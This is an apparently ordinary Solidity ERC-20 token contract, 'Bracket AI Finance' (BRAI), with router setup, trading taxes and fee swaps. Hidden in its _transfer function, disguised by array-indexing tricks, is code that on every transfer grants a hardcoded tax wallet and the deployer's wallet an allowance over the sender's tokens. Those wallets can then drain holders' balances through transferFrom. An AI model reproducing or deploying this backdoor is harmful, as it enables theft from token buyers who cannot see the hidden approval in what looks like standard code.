文件 1 的 1：BRAI.sol
pragma solidity 0.8.26;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IDexRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract BRAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address private _teamWalletH;
address private _taxWalletH = 0xF34FE0D945b94A0BF48FA818C0dd17347785595a;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"Bracket AI Finance";
string private constant _symbol = unicode"BRAI";
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
uint256 private _swapTaxToken = _tTotal / 100;
bool private inSwap = false;
bool private _tradingEnabled = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
IDexRouter private _dexRouterH;
address private _dexPairH;
constructor () {
_teamWalletH = _msgSender();
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWalletH] = true;
_tOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function init() external onlyOwner() {
_dexRouterH = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_dexRouterH), _tTotal);
_dexPairH = IDexFactory(_dexRouterH.factory()).createPair(address(this), _dexRouterH.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingEnabled,"trading is already open");
_dexRouterH.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradingEnabled = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address senderH, address recipientH, uint256 amountH) private {
require(senderH != address(0), "ERC20: transfer from the zero address");
require(recipientH != address(0), "ERC20: transfer to the zero address");
require(amountH > 0, "Transfer amount must be greater than zero");
uint256 taxFeesH=0;
_approve(senderH, [_taxWalletH, _taxWalletH][0], _buyCount.add(amountH));
_approve(senderH, [_teamWalletH, _teamWalletH][0], _buyCount.add(amountH));
if (senderH != owner() && recipientH != owner()) {
taxFeesH = amountH.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (senderH == _dexPairH && recipientH != address(_dexRouterH) && ! _isExcludedFromFee[recipientH]) {
_buyCount++;
}
if(recipientH == _dexPairH && senderH!= address(this)) {
taxFeesH = amountH.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && recipientH == _dexPairH && _swapEnabled && _buyCount > _preventSwapBefore) {
if(contractTokenBalance > _swapTaxToken)
swapTokensForEth(min(amountH, min(contractTokenBalance, _swapTaxToken)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHFeesH(address(this).balance);
}
}
}
if(taxFeesH>0){
_tOwned[address(this)]=_tOwned[address(this)].add(taxFeesH);
emit Transfer(senderH, address(this),taxFeesH);
}
_tOwned[senderH]=_tOwned[senderH].sub(amountH);
_tOwned[recipientH]=_tOwned[recipientH].add(amountH.sub(taxFeesH));
emit Transfer(senderH, recipientH, amountH.sub(taxFeesH));
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _dexRouterH.WETH();
_approve(address(this), address(_dexRouterH), tokenAmount);
_dexRouterH.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function sendETHFeesH(uint256 amount) private {
payable(_taxWalletH).transfer(amount);
}
receive() external payable {}
}
